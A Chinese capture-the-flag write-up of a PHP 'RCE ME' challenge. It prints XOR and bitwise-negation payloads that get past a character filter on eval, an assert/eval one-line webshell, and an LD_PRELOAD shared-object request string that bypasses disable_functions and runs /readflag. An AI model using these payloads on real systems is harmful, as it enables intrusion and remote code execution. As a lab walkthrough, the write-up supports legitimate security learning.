[极客大挑战 2019]RCE ME 1
打开链接,发现是php审计
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?>
发现过滤了大小写字母以及数字,这里可以利用url编码取反绕过,或者异或绕过
异或就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。
<?php$s = 'phpinfo';echo urlencode(~$s);#%8F%97%8F%96%91%99%90
?>
也可以异或绕过:
构造playload:?code=(%22%80%80%80%80%80%80%80%22^%22%f0%e8%f0%e9%ee%e6%ef%22)();
查看phpinfo();搜索flag,并没有发现,然后看到。
这里禁用了很多函数
接着构造一句话木马,获取shell
这里卡了好长时间,一直没搞懂assert这个函数
看到网上构造的playload
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>
由于eval 属于PHP语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过 变量函数的形式来调用所以我们需要用assert来构造但是由于版本原因,
我在网上查到的
并不能使用,我们只能利用(assert)(eval($_POST["test"]))这样的形式来构造这样的一句话木马。
assert()参数放入函数,就会执行
传入字符串的话,在某些版本中应该也可以执行。
<?php
$a='assert';
$b='eval';
$c='phpinfo();';
echo $a($c);
echo "<br>-----------分隔线---------<br>";
?>
在php7版本中可以这样用,但是7.4就不可以了。。。。。
获得shell后,用蚁剑连接
发现了flag,但是打不开,所以这里要用readflag去读取flag。
但是发现我拿到的是一个无效的shell。。。。。。
这里有两种解法,都记录一下
其一:通过环境变量LD_PRELOAD+mail劫持so来执行系统命令(参考大佬链接:https://blog.csdn.net/xia739635297/article/details/104641082?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link)
编译:将源程序转换为扩展名为.obj的二进制代码
连接:将obj文件进行连接,加入库函数等生成可执行文件
运行:执行可执行文件,有错返回修改,无错结束
代码在编译成程序的时候有一个过程叫做链接-->将所引用的函数与变量链接到可执行程序中.编译过程中将所有的函数库链接完毕叫做静态链接,而动态链接则是编译过程中不进行链接操作,在程序运行时再动态的载入函数库.不管是静态链接还是动态链接,目的都很明确,载入函数库.
LD_PRELOAD是与载入函数库相关的环境变量,它的作用便是在程序运行前优先加载指定的函数库.
先简单测试一下
注: id:用于显示用户的ID,以及所属群组的ID。
readelf:用于显示读取ELF文件中信息, 也可以用man命令窥其全貌。它用来显示一个或者多个elf格式的目标文件的信息,可以通过它的选项来控制显示哪些信息。
strace:是一个可用于诊断、调试和教学的Linux用户空间跟踪器。我们用它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等
以id为例
看看id命令执行过程中可能会调用的函数表
使用strace跟踪id的实际调用情况
以劫持getgid为例.
getgid()函数用来取得执行目前进程的组识别码。
构造一个与之原型相同的函数并将之编译为共享库文件.如下
其中:
unsetenv函数
头文件:#include<stdlib.h>
函数原型: int unsetenv(const char* name)
函数说明:删除name环境变量的定义,即使不存在也不会出错
参数:name为环境变量名称字符串。
返回值:成功返回0,错误返回-1.
第一次运行到自己的写的getuid()函数时就unsetenv这个环境变量,保证之后的正常调用
编译为共享库
gcc --shared -fPIC rob.c -o rob.so
然后载入这个库并运行id命令.
本题 要用LD_PRELOAD突破限制必须要把我们的共享库文件传到服务器上.总之使用LD_PRELOAD就是通过这个环境变量,覆盖掉正常的函数库中的函数。
注:putenv 函数用来向环境表中 添加或者修改 环境变量。
简单来说如下:
利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。
但是这种方法,需要我们去找所要劫持的函数。然而劫持进程则不需要考虑前者。GCC 有个 C 语言扩展修饰符 __attribute__((constructor))
,可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor))
修饰的函数.
具体步骤:
在/var/tmp/目录存在上传权限,上传我们的exp
然后构造playload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
得到flag
其二:
蚁剑有个插件可以绕过disable_functions
使用该插件,选择PHP_GC_UAF模式
点击开始,然后就可以执行命令了。
参考链接:https://www.cnblogs.com/Article-kelp/p/14723715.html
https://www.cnblogs.com/Article-kelp/p/14698234.html